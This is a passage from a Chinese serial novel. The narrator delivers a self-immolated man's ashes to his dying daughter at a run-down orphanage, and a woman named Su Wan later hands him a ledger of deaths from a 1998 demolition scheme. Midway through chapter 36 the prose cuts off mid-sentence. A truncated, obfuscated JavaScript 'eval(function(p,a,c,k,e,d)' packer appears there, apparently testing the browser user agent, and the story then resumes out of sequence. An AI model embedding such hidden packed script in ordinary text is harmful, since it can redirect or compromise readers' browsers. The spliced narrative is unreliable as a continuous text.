“那就刻名字和死亡日期。”老头拿出一张表格,“你填一下,付钱,我们一周内刻好。坛子先放我们这,等有人来办手续了,再换。” 我填了表格,付了钱——用手机扫码支付的,七百八十元。支付成功的声音在寂静的房间里显得格外刺耳。老头开了张收据,手写的,字迹潦草。 “行了。”他说,“你可以走了。这个木盒子,我现在放回去。七天后如果还没人认领,我们就处理了。但坛子我们会留着,等你说的手续。” 他拿起那个木盒子,转身走向铁架子深处。我站在原地,看着他瘦削的背影消失在层层叠叠的骨灰盒之间。脚步声渐渐远去,最后完全消失。房间里又只剩下我一个人,和成千上万个沉默的盒子。 我转过身,走向楼梯。走到门口时,我回头最后看了一眼。 惨白的灯光下,那些铁架子像巨大的蜂巢,每一个格子都住着一个已经消失的灵魂。它们排列得如此整齐,如此安静,仿佛在等待什么——等待被记起,等待被遗忘,或者,只是等待时间把最后一点存在的痕迹也抹去。 我推开门,走上楼梯。回到地面时,午后的阳光有些刺眼。停车场里,又有一辆灵车驶入,缓缓停靠在火化厅门口。车门打开,几个穿着黑衣服的人下来,面无表情地从车里抬出一副棺材。棺材是深红色的,在阳光下反射着暗沉的光。 我坐进自己的车,没有立刻发动。透过车窗,我看着那家人跟着棺材走进火化厅。人不多,大概七八个,没有人哭,只是沉默地走着。仪式感已经被压缩到最低——死亡在这座城市里是一件需要高效处理的事情,悲伤太奢侈,也太浪费时间。 手机震动了一下。我拿起来看,是福利院打来的电话。 “沈先生吗?我是福利院的刘阿姨。贝贝今天情况不太好,一直在问爸爸什么时候来看她。我们不知道该怎么跟她说……您能过来一趟吗?” 我看着手机屏幕,又抬头看向殡仪馆那栋灰色的建筑。老金的骨灰还在里面,在一个廉价的木盒子里,贴着一张打印的标签,编号B-347。而他的女儿,在十五公里外的福利院里,还在等爸爸来看她。 江边苏晚的话又在我耳边响起:“在这座城市里,希望才是最残忍的东西。” 我发动了车子。引擎咳嗽了几声,终于启动了。我挂挡,倒车,驶出停车场。下山的路比上山时感觉更陡,我不得不频繁踩刹车。每一次刹车,车身都微微抖动,像在抗议这趟旅程的徒劳。 后视镜里,殡仪馆的烟囱正冒出一股淡淡的青烟,笔直地升上天空,然后在风中散开,消失不见。 那是另一个人,正在变成灰。 而我,正在驶向下一个需要被告知“你爸爸不会来了”的女孩身边。 这城市每天都在生产灰烬。有的是从烟囱里飘出来的,有的是在人心深处堆积的。而我们都在这灰烬里行走,呼吸,活着,直到自己也变成其中一粒。 无声,无息,无人在意。 35. 编号 市儿童福利院藏在老城区的一条巷子里。巷子有个很美的名字,叫“春风巷”,据说是民国时期一位诗人起的,因为当年巷子两边种满了桃树,春天来时花瓣纷飞如雪。现在桃树早没了,取而代之的是密密麻麻的违章建筑——私自搭建的厨房、卫生间、储物间,像肿瘤一样附着在老房子的外墙上。巷子很窄,勉强能容一辆车通过,两侧的墙壁长满青苔和黑色的霉斑,墙角堆着发臭的垃圾袋,苍蝇嗡嗡地飞舞。 福利院就在巷子尽头,一栋上世纪八十年代建的四层楼房。外墙原本是米黄色的,现在已经被雨水和油烟染成了斑驳的灰黑色。铁门上挂着一块牌子,白底黑字:“阳光儿童福利院”。牌子右下角有一行小字:“民政部定点福利机构,编号:C-073”。 我停好车,从后备箱拿出那个装着骨灰盒的布袋。盒子在里面晃了一下,发出轻微的碰撞声。我抱紧布袋,像抱着一个随时会爆炸的炸弹。 福利院的铁门虚掩着。我推门进去,是个不大的院子,水泥地面开裂严重,裂缝里长出顽强的杂草。院子左边是晾衣区,几十件大大小小的衣服挂在生锈的铁丝上,在午后的微风中轻轻摆动。大部分衣服都很旧,颜色洗得发白,有些还有破洞。右边有一小块活动区,摆着两个褪了色的塑料滑梯和一个秋千,秋千的座椅破了,露出里面发黑的海绵。 一个六十多岁的老太太坐在院子中央的小板凳上,正在择菜。她抬头看了我一眼,眼神浑浊,带着那种长期从事底层工作的人特有的疲惫和麻木。 “找谁?” “我找金贝贝。我是她爸爸的朋友。” 老太太“哦”了一声,继续低头择菜,嘴里嘟囔着:“三楼,306。刘阿姨在。” 我穿过院子,走进楼房。一楼的走廊很暗,即使白天也需要开着灯。墙壁刷着绿色的墙裙,上半部分原本应该是白色,现在变成了脏兮兮的灰黄色。墙上贴着一些宣传画:“感恩社会,努力学习”“遵守纪律,健康成长”。画纸已经卷边,有些地方被撕破了。 空气中有一种复杂的味道:消毒水、饭菜、潮湿的霉味,还有……一种很难形容的、属于很多孩子长时间生活在一起的混合气味。不是臭味,但也不是香味,是一种中性的、带着轻微酸腐的气息,像放了太久的牛奶。 楼梯是水泥的,没有贴瓷砖,边缘已经被踩得光滑发亮。我往上走,脚步声在空旷的楼道里回荡。二楼传来孩子们的声音,有哭声,有笑声,有老师的呵斥声。门牌上写着不同的功能:201是教室,202是活动室,203是医务室…… 走到三楼,走廊更安静了。306房间在走廊尽头。门开着一条缝,我敲了敲门。 “进来。” 推开门,是一个大约十五平米的房间。摆着四张上下铺的铁床,能住八个孩子。但现在只住了四个,因为有三张床是空的,床上没有被褥。房间很简陋,除了床,就只有两个铁皮柜子,一张旧书桌,还有墙角的几个塑料收纳箱。窗户开着,但采光不好,房间里显得很昏暗。 一个四十多岁的女人坐在床边,正在给一个小女孩梳头。女人穿着福利院统一的浅蓝色工作服,胸口别着工牌。小女孩背对着我,但我一眼就认出了那个背影——瘦小的肩膀,微微佝偻着,头发枯黄。 “刘阿姨?”我问。 女人抬起头:“你是……” “我是沈默。金卫国的朋友。我们通过电话。” 刘阿姨的表情变了,眼神里闪过一丝复杂的情绪——同情?警惕?还是两者都有?她点点头,放下梳子,对小女孩说:“贝贝,沈叔叔来看你了。” 金贝贝转过身。 我上一次见她,还是在老金住院的时候。那时她虽然瘦,但脸上还有点血色,眼睛也还算有神。但现在,短短几天,她像变了个人。脸颊深深地凹陷下去,颧骨突出,脸色是一种不健康的蜡黄。嘴唇发紫——这是她心脏病加重的迹象。最让我心头发紧的是她的眼睛,那双曾经清澈的眼睛,现在像蒙上了一层灰,空洞,没有焦点。 她看着我,没有说话。怀里紧紧抱着那个破收音机——老金生前捡来的那个,外壳裂了,用透明胶带缠着。 “贝贝,还记得我吗?”我尽量让声音听起来温和。 她点了点头,很轻,几乎看不见的动作。 刘阿姨站起身,示意我到走廊说话。我跟着她出去,她轻轻带上门,但留了一条缝。 “她知道了。”刘阿姨压低声音说,“那天晚上,新闻里播了……虽然打了马赛克,但她认得出来。而且那之后,她爸爸再也没来看她,她心里明白的。” “她……什么反应?” “没哭。”刘阿姨摇摇头,声音里带着疲惫,“一点都没哭。就是从那天起,不说话,不吃饭,抱着那个收音机不放。我们哄她,骗她说爸爸去外地打工了,要很久才回来。她也不反驳,就是听着,然后转过头看着窗外。医生来看过,说她现在的情况很危险——情绪极度低落会加重心脏负担,随时可能……” 她没说完,但我知道后面是什么。 “我给她带了点东西。”我举起手里的布袋,“她爸爸的……” 刘阿姨看了一眼布袋的形状,立刻明白了。她脸色变了变,嘴唇动了动,想说什么,但最终只是叹了口气。 “你决定要给她?”她问。 “我不知道。”我实话实说,“但我答应了老金,要照顾她。而且……这可能是她唯一能拥有的、和父亲有关的东西了。” 刘阿姨沉默了很久。走廊尽头的窗户透进一点光,照在她脸上,我看见她眼角深深的皱纹,还有眼睛下面青黑的眼圈。 “沈先生,我不是要质疑你。”她缓缓地说,“我在这工作了十二年,见过太多这样的孩子。父母死了,残了,跑了,孩子送来,哭几天,闹几天,然后慢慢安静下来,接受现实。但贝贝……她不一样。她太懂事了。懂事的让人心疼。” 她顿了顿:“有些孩子,你骗他们,他们真的会信。因为他们需要相信。但贝贝这样的孩子,你骗她,她知道你在骗她,但她不会戳穿你,因为她知道你是好意。她会配合你演戏,会假装相信爸爸去了远方,会假装期待爸爸有一天会回来。但那是在心里挖一个洞,每天往里面填东西——填童话,填谎言,填希望。那个洞会越来越大,总有一天会塌的。” 我听着,感觉手里的布袋越来越沉。 “那你说怎么办?”我问,“不告诉她?让她一直等一个永远不会回来的人?” 刘阿姨苦笑:“我不知道。真的不知道。我只是个护工,一个月拿两千八百块钱,照顾八个孩子,从早上六点到晚上十点。我不是心理学家,不是社会工作者,我连自己的孩子都没教育好——我儿子在网吧当网管,女儿在服装厂打工。我能做的,就是给孩子喂药,洗澡,换衣服,监督他们写作业。至于怎么告诉他们‘你爸爸死了’这种事……我真的不知道。” 她看着306的门缝,声音更轻了:“但有一点我知道——如果你今天把这个盒子给她,她可能会崩溃。而她的心脏,承受不起崩溃。” 我靠在墙上,感觉全身的力气都被抽干了。阳光从窗户斜射进来,在走廊的水泥地上切出一块光斑。光斑里有灰尘在飞舞,永不停歇地飞舞,但永远飞不出那块光。 “我能单独和她待一会儿吗?”我问。 刘阿姨犹豫了一下,点点头:“我去楼下。有事叫我。” 她走了,脚步声消失在楼梯口。我在门口站了很久,深呼吸几次,才推门进去。 贝贝还坐在床边,姿势没变,抱着收音机。我走过去,在她旁边的床沿坐下。那张床应该是个空铺,床板上只铺了一层薄薄的褥子,连床单都没有。 我把布袋放在身边。她没有看布袋,只是看着窗外。窗外是对面楼房的墙壁,距离很近,挡住了大部分光线。 “贝贝,”我开口,声音干涩,“你爸爸……他让我给你带样东西。” 她终于转过头,看着我。她的眼睛很大,但因为太瘦,显得更大,像两个深不见底的洞。 “爸爸在哪里?”她问,声音很小,像蚊子叫。 我张了张嘴,准备好的说辞卡在喉咙里。那些“爸爸去了很远的地方”“爸爸变成星星了”的童话,在这样一个孩子面前,显得如此虚伪,如此残忍。 “贝贝,”我艰难地说,“你知道那天晚上,电视里放的新闻吗?” 她点了点头。 “那个人……是你爸爸。” 她没说话,只是看着我。眼神平静得可怕。 “他……他做了件很勇敢的事。”我继续说,感觉每个字都像刀子,在割我的喉咙,“他想让全世界都知道,有人欺负了他,欺负了很多像他一样的人。所以他用了一种……很极端的方式。” 我还是说不出“自焚”这两个字。 贝贝低下头,看着怀里的收音机。她用指甲抠着收音机外壳上的裂缝,一下,又一下。 “爸爸疼吗?”她突然问。 我愣住了。 “火烧的时候,”她抬起头,眼睛里第一次有了情绪,是一种我无法形容的情绪——不是悲伤,不是恐惧,而是一种……关切?“疼吗?” 我感觉呼吸停止了。心脏像被一只冰冷的手攥住,越收越紧。 “应该……很快。”我听见自己的声音在抖,“很快就不疼了。” 她点点头,好像接受了这个答案。然后她伸出手,不是伸向我,而是伸向我身边的布袋。 “是这个吗?”她问。 我僵硬地点点头。 她把收音机小心地放在床上,然后双手接过布袋。布袋对她来说有点大,她抱在怀里,像抱着一个婴儿。她没有立刻打开,只是抱着,低着头,看着布袋粗糙的布料。 房间里很安静。能听见楼下院子里孩子们的打闹声,远处马路上车辆的喇叭声,还有我们自己呼吸的声音。 “爸爸以前说过,”贝贝突然开口,声音依然很小,但很清晰,“如果他死了,不要买贵的骨灰盒。他说,把钱省下来,给我买药。” 我的喉咙哽住了。 “他说,骨灰就是一把灰,装在金盒子里和装在木盒子里,都一样。”她继续说着,像在复述一段背熟的话,“他说,人死了就什么都没了,不用花冤枉钱。” 她抬起头,看着我:“叔叔,这个盒子贵吗?” 我摇摇头,说不出话。 “那就好。”她似乎松了口气,“爸爸不喜欢浪费钱。” 然后她开始解布袋的带子。她的手很小,手指细得像竹竿,动作却很稳,一点一点地解开那个死结。布袋打开,露出里面那个廉价的木盒子。标签朝上:“B-347。姓名:金卫国。” 她看着那个标签,看了很久。然后她伸出手,用指尖轻轻地、小心翼翼地触摸那三个字,像在触摸什么易碎的珍宝。 “爸爸的名字。”她轻声说。 我别过头,看着墙壁。墙壁上有一片水渍,形状像一张哭泣的脸。 “叔叔,”她又叫我,“爸爸走的时候……说什么了吗?” 我想起老金最后的话:“如果有一天,我做了什么傻事,帮我照顾好贝贝。” “他说,”我的声音嘶哑得不成样子,“让你好好吃药,好好长大。” 贝贝沉默了一会儿,然后说:“爸爸骗人。” 我一愣。 “他以前答应过我,会陪我过十六岁生日。”她说,语气很平静,像在陈述一个事实,“他说等我十六岁了,他就带我去看海。他说海很大,很蓝,跟天连在一起。他说他年轻的时候去过一次,一直想再去,但没机会。他说等我十六岁了,我们一起去。” 她把骨灰盒抱得更紧了:“但他等不到了。我也等不到了。” “贝贝……” “我知道我快死了。”她打断我,抬起头,看着我。她的眼神清澈得可怕,像一潭深不见底但极其透明的水,“医生说的。我偷听到的。他说我的肺动脉高压已经到晚期了,心脏扩大得很厉害,可能……撑不过今年冬天。” 我张着嘴,却发不出任何声音。世界在我眼前旋转,墙壁,床铺,窗户,都扭曲成奇怪的形状。 “爸爸也知道。”她继续说,“所以他才会去卖肾,才会去……做那件事。他想给我攒钱做手术,但我知道,手术也没用。医生说了,我的情况,手术成功率不到百分之十。而且手术费要五十万。五十万……爸爸捡一辈子瓶子也挣不到。” 她把脸贴在骨灰盒上,闭上眼睛:“所以爸爸先走了。他不忍心看我死。” 房间里又陷入沉默。但这次沉默不一样,不再是空白的沉默,而是被填满了某种沉重得几乎实质化的东西。那是真相,是绝望,是一个十 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巷子里有人经过,一个中年女人提着菜篮子,看了我一眼,绕开走了。她的眼神里没有好奇,没有同情,只有一种习以为常的麻木——在这个巷子里,哭泣和呕吐都不稀奇。 我慢慢地蹲下来,坐在墙根。水泥地很凉,透过裤子传上来。我看着对面墙壁上的涂鸦,是某个孩子用粉笔画的:一个歪歪扭扭的太阳,下面是一家三口手牵手。旁边写着:“我的家”。 但那家人已经被雨水冲刷得模糊不清,只剩下一些残缺的线条。 我的手机在口袋里震动。我拿出来看,是苏晚发来的短信:“林涛有动作了。明天下午三点,赵承德要开新闻发布会,指控天启集团收买金卫国。我们需要见面。老地方。” 我没有回复。把手机塞回口袋,继续坐着。 福利院的铁门开了,刘阿姨走出来。她手里端着一杯水,走到我身边,递给我。 “喝点水吧。” 我接过来,喝了一口。水是温的,带点淡淡的漂白粉味道。 “她让我保管骨灰盒。”我说,声音依然嘶哑。 刘阿姨点点头,在我旁边蹲下。她也看着对面的墙壁,眼神空洞。 “沈先生,”她突然说,“你知道我们福利院,每年有多少孩子死吗?” 我摇摇头。 “去年是七个。”她平静地说,“五个有先天疾病,两个是意外。前年是六个。大前年是八个。最多的那年是十二个。” 她从口袋里摸出一包廉价的香烟,抽出一支,点燃。她抽烟的动作很熟练,深吸一口,缓缓吐出。 “一开始,我还会哭。每死一个孩子,我就躲起来哭一场。后来哭不出来了。不是心硬了,是……没眼泪了。”她弹了弹烟灰,“你知道吗,那些孩子死之前,很多都会说同样的话:‘阿姨,我死了之后,会有人记得我吗?’” 她转过头看着我:“我怎么回答?我说会,爸爸妈妈会记得你,阿姨会记得你。但那是谎话。有些孩子,父母都不知道是谁,是派出所送来的弃婴。有些孩子,父母死了,亲戚不肯要。他们死了,除了我们这些拿工资照顾他们的人,还有谁会记得?等我们也死了,他们就真的消失了,像从来没存在过一样。” 她抽完最后一口烟,把烟蒂在地上摁灭。 “金贝贝……至少还有你记得她爸爸。至少还有这个。”她指了指我身边的布袋,“很多孩子,什么都没有。” 她站起身,拍拍裤子上的灰:“我要回去了,还有几个孩子要喂药。你……想开点。这个世界就是这样,有些人活得很轻松,有些人活得很累,有些人……连活着的资格都没有。” 她走回福利院,铁门在她身后关上。咔哒一声,像某种宣判。 我坐在原地,看着手里的水杯。水面上漂浮着一点微小的杂质,在阳光下闪着光。我忽然想起老金自焚时的画面——那团火,那些光,那些尖叫。 然后我想起贝贝的话:“爸爸疼吗?” 我猛地站起来,把水杯狠狠地砸在地上。塑料杯裂开,水溅得到处都是。几个路过的行人吓了一跳,快步走开了。 我喘着粗气,看着地上破碎的杯子和那摊水渍。水渍慢慢扩大,渗进水泥地的裂缝里,消失不见。 就像老金的死,就像贝贝即将到来的死,就像无数个在这座城市里挣扎、然后无声无息消失的生命。他们会留下一点痕迹——一点水渍,一缕青烟,一句无人记得的遗言——但很快,就会被新的痕迹覆盖,被时间抹平,被世界遗忘。 我弯腰捡起那个装着骨灰盒的布袋,抱在怀里。盒子很轻,大概只有两三公斤。这就是一个人的全部重量。 我走回车子,坐进去。没有立刻发动,只是坐着,看着福利院那栋灰色的楼房。 三楼的某个窗户后面,贝贝应该还坐在那里,抱着那个破收音机,一遍遍地听——听什么?可能是某个调频台的音乐,可能是电流的杂音,也可能,她只是在听寂静本身。 收音机是老金留给她的最后一件东西。骨灰是我带给她的最后一件东西。 而我留给她的,只有谎言,和一份我可能根本无法履行的承诺。 我发动了车子。引擎的声音在狭窄的巷子里显得格外响亮。倒车,转向,缓缓驶出春风巷。 后视镜里,福利院越来越小,最后消失在巷子的拐角。 就像很多事物一样,一旦离开视线,就仿佛从未存在。 但我知道,它在那里。贝贝在那里。老金的骨灰在那里。 而我,这个所谓的“朋友”,这个“善意”的杀人凶手,这个连一句真话都不敢说的懦夫,正驶向下一个阴谋,下一场背叛,下一个悲剧。 苏晚在等我。林涛在行动。赵承德在策划反击。天启集团在暗中观察。 而我,抱着一个死人的骨灰,想着一个将死的女孩,驶向更深的黑暗。 这城市不会因为一个人的死而改变。不会因为一个孩子的哭泣而停顿。它只会继续运转,像一台巨大的、精密的机器,把所有人——活着的,死去的,将死的——都碾成粉末,然后装进统一的盒子里,贴上编号,等待处理。 我们都是编号。 我们都是灰烬。 而我们为之斗争、为之痛苦、为之死去活来的一切——正义,真相,爱情,亲情——在最后的最后,都会变成标签上的一行小字,在某个地下室的铁架子上,慢慢褪色,直到再也看不见。 36. 秋天快结束了 秋天的傍晚来得早,风开始变凉。我站在路边,看着车流,突然感到一种前所未有的无力感。顾远的死我查不清,老金的死我阻止不了,现在连他的女儿我都救不了。我像个在黑暗里挥舞拳头的傻子,打不到任何人,只把自己弄得筋疲力尽。 手机响了。是个陌生号码。 我接起来,没有说话。 “沈默?”是苏晚的声音。 “你怎么有这个号码?” “想找你,总有办法。”她的语气很平静,“你在哪?” “福利院门口。” “等着,我来接你。二十分钟。” 电话挂了。我握着手机,站在秋风里,突然想笑。苏晚,赵承德的情人,复仇者,现在成了我唯一能“依靠”的人——如果这种互相利用的关系也能算依靠的话。 二十分钟后,一辆黑色的奥迪A6停在我面前。车窗降下,苏晚戴着墨镜,朝我偏了偏头:“上车。” 我拉开车门坐进去。车里很干净,有淡淡的香水味,是真皮座椅和车载香氛混合的气味。和苏晚身上的一样,昂贵,但冷漠。 “吃饭了吗?”她问,发动车子。 “不饿。” “那找个地方坐坐。” 她没有再说话,专注地开车。车子驶离福利院所在的旧城区,穿过跨江大桥,进入对岸的新区。这里的街道更宽,路灯更亮,高楼大厦的玻璃幕墙反射着黄昏的最后一点余晖。最终,车子停在一个不起眼的巷子口,巷子深处有一家小咖啡馆,招牌很旧,写着“旧时光”。 “这里安全。”苏晚熄火,“老板是我朋友,不会有人打扰。” 我们走进咖啡馆。店里很小,只有四张桌子,吧台后坐着一个头发花白的男人,正戴着老花镜看报纸。见我们进来,他点了点头,没有说话。苏晚径直走向最里面那张靠墙的桌子,坐下。 “两杯美式。”她对吧台说。 男人起身去准备。店里很安静,只有咖啡机工作的声音。 “贝贝怎么样?”苏晚摘下墨镜,看着我。 “你知道了?” “新闻虽然删了,但该知道的人都知道。”她的表情没什么变化,“那孩子有心脏病,对吧?需要钱。” “十万。至少。” 苏晚从包里拿出一个信封,推到我面前。很厚,不用打开也知道里面是钱。 “五万。先拿着。” 我看着那个信封,没有动:“为什么?” “什么为什么?” “为什么要帮她?你不是说,在这座城市里,希望才是最残忍的东西吗?给她钱治病,让她活下去,不是给她希望吗?” 苏晚笑了,笑容很淡,很冷:“你以为我是在给她希望?沈默,你太天真了。我给她的不是希望,是燃料。” “燃料?” “让她活下去,活到足够大,足够理解她父亲为什么而死,她爷爷为什么而死,她家为什么变成今天这样。”苏晚的眼神锐利起来,“然后,让她自己选择——是像大多数人一样,选择遗忘,选择妥协,苟且地活着;还是选择记住,选择复仇,像她父亲一样,用命去换一个响动。” 我脊背发凉:“你疯了。她才十五岁!” “十五岁怎么了?”苏晚反问,“我姐姐死的时候十四岁。我活下来的时候十二岁。仇恨有年龄限制吗?痛苦有年龄限制吗?” 咖啡送来了。男人放下杯子,又默默回到吧台。苏晚端起杯子,抿了一口,动作优雅,但眼神冰冷。 “沈默,你以为你是在保护她?不,你是在剥夺她最后的选择权。你和她爸爸一样,想把所有的黑暗都挡在外面,想给她一个‘干净’的世界。但那个世界不存在。就算你今天瞒住了,明天呢?后天呢?总有一天她会知道真相。那时候她会恨你,恨所有瞒着她的人,恨这个假装美好的世界。” 她放下杯子:“而我,我在给她真相。我在给她选择。虽然那个选择很残酷,但至少是真实的。这比虚假的希望仁慈多了。” 我无言以对。她的话像一把手术刀,精准地剖开了我所有自以为是的“善意”,露出里面软弱的、逃避的本质。 “那这五万块钱,”我终于开口,“是你的钱,还是赵承德的?” “有区别吗?”苏晚反问,“钱就是钱。能买药,能续命,能让她活到可以自己做决定的那一天。至于来源……重要吗?赵承德的钱,不也是从像她家这样的人身上榨出来的吗?现在用这些钱去救他们的后代,不是一种讽刺吗?” 确实是讽刺。残酷的讽刺。 “还有一件事。”苏晚从包里又拿出一个文件袋,比装钱的信封大得多,也厚得多,“这个给你。” “这是什么?” “‘凤凰计划’的户主名单。”她平静地说,“完整版。不是复印件,是原件。我花了十年时间,一份一份收集起来的。有的从档案馆偷出来,有的从当年参与拆迁的人手里买来,有的……是从死者家属那里拿到的。” 我接过文件袋,很沉。不是物理上的重量,是某种精神上的重量。 “打开看看。”苏晚说。 我解开文件袋的绕线,抽出里面的文件。第一页是封面,手写的标题:“‘凤凰计划’拆迁户登记总册,1998年9月-1999年12月”。字迹工整,用的是蓝色墨水,已经有些褪色了。 翻开封面,是目录。按门牌号排序,从1栋1单元101开始,到最后317户。每一户后面有户主姓名、家庭人口、原住房面积、补偿方案、签字日期、备注。 我快速翻阅着。纸张很旧,有些页面上有污渍,有折痕,有潦草的批注。在不少名字后面,备注栏里写着各种简短的词:“已签字”“待处理”“重点户”“顽固户”。而在少数几户后面,备注写的是:“已故”“失联”“放弃”。 翻到第三页时,我看到了那个名字:金大年。住址:3栋2单元402。家庭人口:3(夫、妻、子)。原住房面积:62.5平方米。补偿方案:安置房(北郊新生活家园)。签字日期:1998年11月7日。 备注栏里,有人用红笔写了一个词:“已故”。旁边有个小箭头,指向页边空白处的一行小字:“1998年12月5日,拆迁现场突发心脏病死亡。补偿金2万元。家属签字:金卫国(子)。” 我盯着那行字看了很久。老金的父亲,金大年,就这样被简化为一个名字,一行记录,一个数字。他六十一年的生命,他对家庭的付出,他死亡时的痛苦,他儿子签字时的绝望——所有这些,都被压缩成这几十个字,躺在泛黄的纸页上,等待被遗忘。 继续往后翻。苏建国的名字出现在第七页。住址:5栋1单元203。家庭人口:4(夫、妻、长女、次女)。原住房面积:58.3平方米。补偿方案:拒绝签字。备注栏里,红笔写的字更多:“重点顽固户”“多次煽动他人”“需特殊处理”。 页边空白处,同样有一行小字:“1998年12月24日,火灾事故,全家死亡。长女苏秀兰(14岁)送医不治。无赔偿。” 全家死亡。四个字。 我抬头看苏晚。她正静静地看着我,脸上没有任何表情,但眼睛里有东西在燃烧——不是怒火,是比怒火更冷、更持久的东西。 “继续翻。”她说。 我翻到后面。名单越来越厚,备注栏里的内容也越来越触目惊心。 “李秀英,女,57岁,独居。1999年1月3日,拆迁队入户时‘意外坠楼’。补偿金3万元。” “王志刚,男,42岁,下岗工人。1999年3月被开除,5月‘交通事故’死亡。无补偿。” “陈建华,男,38岁,残疾(工伤截肢)。1999年7月,因‘扰乱公共秩序’被拘留,拘留期间‘突发急病’死亡。补偿金1.5万元。” …… 一页一页,一个名字一个名字。有的我听说过,有的我第一次知道。他们曾经是工人、技术员、教师、售货员,是这座城市最普通的人,有家庭,有梦想,有琐碎的烦恼和微小的幸福。然后“凤凰计划”来了,推土机来了,赵承德来了。他们变成了“钉子户”“顽固户”“麻烦制造者”,最后变成了“已故”“失联”“放弃”。 而这一切,都被白纸黑字地记录下来,装在这个文件袋里,在某个阴暗的角落,尘封了二十年。 翻到最后一页时,我的手在抖。不是因为累,是因为恐惧。一种对系统性恶行的恐惧,一种对人性可以堕落到何种程度的恐惧。 最后一页是一张表格,标题是:“‘凤凰计划’相关‘特殊事件’汇总表”。表格分五列:序号、事件简述、涉及户主、处理方式、备注。 从序号1到序号17,记录了十七起“特殊事件”。包括金大年的“心脏病突发”、苏建国家的“火灾”、李秀英的“坠楼”……以及最后一条,序号17:“沈建国,男,《城市晚报》记者。2001年7月15日,交通事故死亡。处理方式:肇事者已判刑。备注:该记者生前持续调查‘凤凰计划’后续问题,多次举报赵承德。事故现场有目击者称看到跟踪车辆,后改口。” 我父亲的名字,就在那里。白纸黑字。 我合上文件,闭上眼睛。深呼吸,再深呼吸。但空气好像不够用,胸口发闷,像有什么东西压在心脏上。 “这是原件?”我睁开眼睛,问苏晚。 “是。”她说,“我花了很大代价才弄到。赵承德一直在找这东西,想销毁它。他以为二十年前就销毁了,但其实没有。当年负责档案管理的人,偷偷留了一份副本,藏在老家。三年前他得了癌症,临死前托人找到我,卖给了我。” “卖?” “十万。”苏晚平静地说,“他儿子要出国留学,缺钱。我用赵承德给我的钱,买了这份能要赵承德命的文件。很讽刺,对吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为我可能活不了多久了。”苏晚笑了,那笑容里有解脱,也有疯狂,“林涛已经怀疑我了。赵承德也在怀疑。我在他们身边待了十年,太久了,久到他们开始觉得不对劲。所以我要把这份名单交出去,交给一个……相对干净的人。一个还没被完全污染的人。” “我?”我自嘲地笑了,“我不干净。我手上也沾着血——老金的血,虽然不是直接,但我有责任。” “但你至少还会愧疚。”苏晚看着我,“还会痛苦,还会问自己这样做对不对。而他们,赵承德,林涛,还有那些名单上签字的人,他们不会愧疚,不会痛苦,他们睡得很好,吃得很香,因为他们相信自己做的是‘正确的事’,是‘发展必须付出的代价’。” 她站起身:“钱你拿着,给贝贝治病。名单你保管,不要给任何人看,也不要试图公开——现在还不到时候。等时机到了,我会告诉你。” “什么时候是时机?” “当赵承德的帝国开始崩塌的时候。”她的眼神变得锐利,“当所有人都看到,那个高高在上的慈善家,其实是个吃人不吐骨头的魔鬼的时候。那时候,这份名单会成为压垮他的最后一根稻草。” 她拿起包,准备离开。 “苏晚。”我叫住她。 她回头。 “你刚才说,你可能活不了多久了。”我看着她,“如果……如果你真的出事了,这份名单,我该怎么办?” 她想了想,说:“那就说明时机到了。到那时候,你可以自己做决定——是继续藏着,等下一个时机;还是把它扔出去,像老金扔出那团火一样,让所有人都看见,让这座城市记住,它曾经怎样吃过人。” 她走到门口,又停下,没有回头:“沈默,记住,在这座城市里,最可怕的不是死亡,是遗忘。是被遗忘。名单上那些人,已经被遗忘了二十年。我们,也可能被遗忘。但至少,在遗忘之前,我们得留下点什么。哪怕只是一捧灰,也要让他们知道,这捧灰曾经是个人,有名字,有故事,有不容被抹杀的尊严。” 她推门出去了。铃铛在门框上响了一声,很快又恢复寂静。 我坐在那里,看着面前的两个东西:装着五万块钱的信封,和装着死亡名单的文件袋。钱能续命,名单能复仇。但续命之后呢?复仇之后呢? 吧台后的老板还在看报纸,仿佛什么都没听见。咖啡已经凉了,表面的油脂凝固成一层暗色的膜。 我拿起文件袋,掂了掂它的重量。很沉,沉得像是装着一座坟墓。 而我,成了这座坟墓的守墓人。 不知道未来某一天,我会不会也变成名单上的一个名字,变成后来者手中的一页泛黄的纸,变成一个需要被记住、但最终会被遗忘的故事。 窗外的夜色已经完全降临。新区的灯火璀璨,像一片倒置的星河。而在灯光照不到的角落,在泛黄的纸页上,在无数个已经消失的家庭的记忆里,另一些东西正在醒来。